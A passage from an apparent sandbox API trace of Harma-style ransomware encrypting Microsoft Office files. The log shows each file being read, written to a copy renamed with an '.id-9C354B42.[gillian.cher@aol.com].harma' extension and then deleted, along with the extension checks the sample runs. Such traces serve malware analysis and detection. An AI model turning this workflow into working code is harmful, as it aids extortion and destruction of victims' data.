office\\office14\\1033\\xlslicer.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0165.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0165.951] lstrlenW (lpString=".doc") returned 4 [0165.951] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0165.951] lstrlenW (lpString=".docx") returned 5 [0165.951] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0165.951] lstrlenW (lpString=".pdf") returned 4 [0165.951] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0165.951] lstrlenW (lpString=".xls") returned 4 [0165.951] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0165.951] lstrlenW (lpString=".xlsx") returned 5 [0165.951] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0165.951] lstrlenW (lpString=".ppt") returned 4 [0165.951] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0165.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0165.952] lstrlenW (lpString=".zip") returned 4 [0165.952] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0165.952] lstrlenW (lpString=".rar") returned 4 [0165.952] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0165.952] lstrlenW (lpString=".bz2") returned 4 [0165.952] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0165.952] lstrlenW (lpString=".7z") returned 3 [0165.952] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0165.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0165.952] lstrlenW (lpString=".dbf") returned 4 [0165.952] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0165.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0165.952] lstrlenW (lpString=".1cd") returned 4 [0165.952] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0165.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0165.952] lstrlenW (lpString=".jpg") returned 4 [0165.952] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0165.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0165.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0165.952] lstrlenW (lpString=".doc") returned 4 [0165.952] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0165.952] lstrlenW (lpString=".docx") returned 5 [0165.952] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0165.952] lstrlenW (lpString=".pdf") returned 4 [0165.952] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0165.953] lstrlenW (lpString=".xls") returned 4 [0165.953] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0165.953] lstrlenW (lpString=".xlsx") returned 5 [0165.953] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0165.953] lstrlenW (lpString=".ppt") returned 4 [0165.953] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0165.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0165.953] lstrlenW (lpString=".zip") returned 4 [0165.953] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0165.953] lstrlenW (lpString=".rar") returned 4 [0165.953] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0165.953] lstrlenW (lpString=".bz2") returned 4 [0165.953] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0165.953] lstrlenW (lpString=".7z") returned 3 [0165.953] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0165.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0165.953] lstrlenW (lpString=".dbf") returned 4 [0165.953] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0165.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0165.953] lstrlenW (lpString=".1cd") returned 4 [0165.953] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0165.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0165.953] lstrlenW (lpString=".jpg") returned 4 [0165.953] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0165.954] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0165.954] lstrlenW (lpString="XLSLICER.DLL.IDX_DLL") returned 20 [0165.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0165.955] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=12672) returned 1 [0165.955] CloseHandle (hObject=0x344) returned 1 [0165.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll")) returned 0x20 [0165.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0165.956] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.956] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0165.958] GetLastError () returned 0x0 [0165.958] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x3180, lpOverlapped=0x0) returned 1 [0165.960] WriteFile (in: hFile=0x384, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x3190, lpOverlapped=0x0) returned 1 [0165.962] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0165.962] WriteFile (in: hFile=0x384, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xfc, lpOverlapped=0x0) returned 1 [0165.962] SetEndOfFile (hFile=0x384) returned 1 [0165.962] CloseHandle (hObject=0x384) returned 1 [0165.962] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.962] SetEndOfFile (hFile=0x344) returned 1 [0165.969] CloseHandle (hObject=0x344) returned 1 [0165.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.969] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll")) returned 1 [0165.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0165.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0165.970] lstrlenW (lpString=".doc") returned 4 [0165.970] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0165.970] lstrlenW (lpString=".docx") returned 5 [0165.970] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0165.970] lstrlenW (lpString=".pdf") returned 4 [0165.970] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0165.970] lstrlenW (lpString=".xls") returned 4 [0165.971] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0165.971] lstrlenW (lpString=".xlsx") returned 5 [0165.971] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0165.971] lstrlenW (lpString=".ppt") returned 4 [0165.971] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0165.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0165.971] lstrlenW (lpString=".zip") returned 4 [0165.971] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0165.971] lstrlenW (lpString=".rar") returned 4 [0165.971] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0165.971] lstrlenW (lpString=".bz2") returned 4 [0165.971] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0165.971] lstrlenW (lpString=".7z") returned 3 [0165.971] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0165.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0165.971] lstrlenW (lpString=".dbf") returned 4 [0165.971] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0165.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0165.972] lstrlenW (lpString=".1cd") returned 4 [0165.972] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0165.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0165.972] lstrlenW (lpString=".jpg") returned 4 [0165.972] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0165.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0165.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0165.972] lstrlenW (lpString=".doc") returned 4 [0165.972] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0165.972] lstrlenW (lpString=".docx") returned 5 [0165.972] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0165.972] lstrlenW (lpString=".pdf") returned 4 [0165.972] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0165.972] lstrlenW (lpString=".xls") returned 4 [0165.972] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0165.972] lstrlenW (lpString=".xlsx") returned 5 [0165.972] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0165.972] lstrlenW (lpString=".ppt") returned 4 [0165.972] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0165.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0165.972] lstrlenW (lpString=".zip") returned 4 [0165.972] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0165.972] lstrlenW (lpString=".rar") returned 4 [0165.972] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0165.972] lstrlenW (lpString=".bz2") returned 4 [0165.972] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0165.972] lstrlenW (lpString=".7z") returned 3 [0165.972] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0165.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0165.972] lstrlenW (lpString=".dbf") returned 4 [0165.973] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0165.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0165.973] lstrlenW (lpString=".1cd") returned 4 [0165.973] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0165.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0165.973] lstrlenW (lpString=".jpg") returned 4 [0165.973] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0165.973] lstrcmpiW (lpString1=".ACL", lpString2=".harma") returned -1 [0165.973] lstrlenW (lpString="MSO.ACL") returned 7 [0165.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0165.974] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=43558) returned 1 [0165.974] CloseHandle (hObject=0x344) returned 1 [0165.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl")) returned 0x20 [0165.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0165.975] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.975] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0166.591] GetLastError () returned 0x0 [0166.591] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0xaa26, lpOverlapped=0x0) returned 1 [0166.640] WriteFile (in: hFile=0x33c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xaa30, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xaa30, lpOverlapped=0x0) returned 1 [0166.641] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0166.641] WriteFile (in: hFile=0x33c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe2, lpOverlapped=0x0) returned 1 [0166.642] SetEndOfFile (hFile=0x33c) returned 1 [0166.642] CloseHandle (hObject=0x33c) returned 1 [0166.642] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.642] SetEndOfFile (hFile=0x344) returned 1 [0166.645] CloseHandle (hObject=0x344) returned 1 [0166.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl")) returned 1 [0166.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0166.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0166.646] lstrlenW (lpString=".doc") returned 4 [0166.646] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0166.646] lstrlenW (lpString=".docx") returned 5 [0166.646] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0166.646] lstrlenW (lpString=".pdf") returned 4 [0166.646] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0166.646] lstrlenW (lpString=".xls") returned 4 [0166.646] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0166.646] lstrlenW (lpString=".xlsx") returned 5 [0166.646] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0166.647] lstrlenW (lpString=".ppt") returned 4 [0166.647] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0166.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0166.647] lstrlenW (lpString=".zip") returned 4 [0166.647] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0166.647] lstrlenW (lpString=".rar") returned 4 [0166.647] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0166.647] lstrlenW (lpString=".bz2") returned 4 [0166.647] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0166.647] lstrlenW (lpString=".7z") returned 3 [0166.647] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0166.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0166.647] lstrlenW (lpString=".dbf") returned 4 [0166.647] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0166.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0166.647] lstrlenW (lpString=".1cd") returned 4 [0166.647] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0166.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0166.647] lstrlenW (lpString=".jpg") returned 4 [0166.647] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0166.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0166.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0166.647] lstrlenW (lpString=".doc") returned 4 [0166.647] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0166.647] lstrlenW (lpString=".docx") returned 5 [0166.647] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0166.647] lstrlenW (lpString=".pdf") returned 4 [0166.648] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0166.648] lstrlenW (lpString=".xls") returned 4 [0166.648] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0166.648] lstrlenW (lpString=".xlsx") returned 5 [0166.648] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0166.648] lstrlenW (lpString=".ppt") returned 4 [0166.648] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0166.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0166.648] lstrlenW (lpString=".zip") returned 4 [0166.648] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0166.648] lstrlenW (lpString=".rar") returned 4 [0166.648] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0166.648] lstrlenW (lpString=".bz2") returned 4 [0166.648] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0166.648] lstrlenW (lpString=".7z") returned 3 [0166.648] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0166.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0166.648] lstrlenW (lpString=".dbf") returned 4 [0166.648] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0166.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0166.648] lstrlenW (lpString=".1cd") returned 4 [0166.648] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0166.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0166.648] lstrlenW (lpString=".jpg") returned 4 [0166.648] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0166.649] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0166.649] lstrlenW (lpString="ACCDDSLM.DLL") returned 12 [0166.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0166.672] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=552368) returned 1 [0166.672] CloseHandle (hObject=0x3a0) returned 1 [0166.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll")) returned 0x20 [0166.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0166.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0166.678] lstrlenW (lpString=".doc") returned 4 [0166.678] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0166.678] lstrlenW (lpString=".docx") returned 5 [0166.678] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0166.678] lstrlenW (lpString=".pdf") returned 4 [0166.678] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0166.679] lstrlenW (lpString=".xls") returned 4 [0166.679] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0166.679] lstrlenW (lpString=".xlsx") returned 5 [0166.679] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0166.679] lstrlenW (lpString=".ppt") returned 4 [0166.679] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0166.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0166.679] lstrlenW (lpString=".zip") returned 4 [0166.679] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0166.679] lstrlenW (lpString=".rar") returned 4 [0166.679] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0166.679] lstrlenW (lpString=".bz2") returned 4 [0166.679] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0166.679] lstrlenW (lpString=".7z") returned 3 [0166.679] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0166.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0166.679] lstrlenW (lpString=".dbf") returned 4 [0166.679] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0166.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0166.679] lstrlenW (lpString=".1cd") returned 4 [0166.679] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0166.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0166.679] lstrlenW (lpString=".jpg") returned 4 [0166.679] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0166.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0166.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0166.679] lstrlenW (lpString=".doc") returned 4 [0166.679] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0166.679] lstrlenW (lpString=".docx") returned 5 [0166.679] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0166.679] lstrlenW (lpString=".pdf") returned 4 [0166.680] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0166.680] lstrlenW (lpString=".xls") returned 4 [0166.680] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0166.680] lstrlenW (lpString=".xlsx") returned 5 [0166.680] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0166.680] lstrlenW (lpString=".ppt") returned 4 [0166.680] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0166.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0166.680] lstrlenW (lpString=".zip") returned 4 [0166.680] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0166.680] lstrlenW (lpString=".rar") returned 4 [0166.680] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0166.680] lstrlenW 